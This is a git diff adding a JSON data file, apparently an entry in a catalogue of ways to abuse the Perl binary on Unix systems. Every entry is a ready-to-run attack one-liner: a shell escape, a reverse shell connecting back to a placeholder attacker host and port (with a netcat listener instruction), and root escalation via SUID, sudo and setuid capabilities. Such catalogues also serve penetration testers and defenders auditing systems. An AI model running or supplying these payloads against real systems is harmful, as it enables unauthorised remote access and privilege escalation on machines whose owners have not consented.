diff --git a/data/perl.json b/data/perl.json new file mode 100644 index 0000000..b1c382a --- /dev/null +++ b/data/perl.json @@ -0,0 +1,30 @@ +{ + "functions": { + "shell": [ + { + "code": "perl -e 'exec \"/bin/sh\";'" + } + ], + "reverse-shell": [ + { + "description": "Run 'nc -l -p [port]' on the attacker box to receive the shell.", + "code": "perl -e 'use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in([port],inet_aton(\"[host]\")))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'\n" + } + ], + "suid": [ + { + "code": "./perl -e 'exec \"/bin/sh\";'" + } + ], + "sudo": [ + { + "code": "sudo perl -e 'exec \"/bin/sh\";'" + } + ], + "capabilities": [ + { + "code": "./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec \"/bin/sh\";'" + } + ] + } +} \ No newline at end of file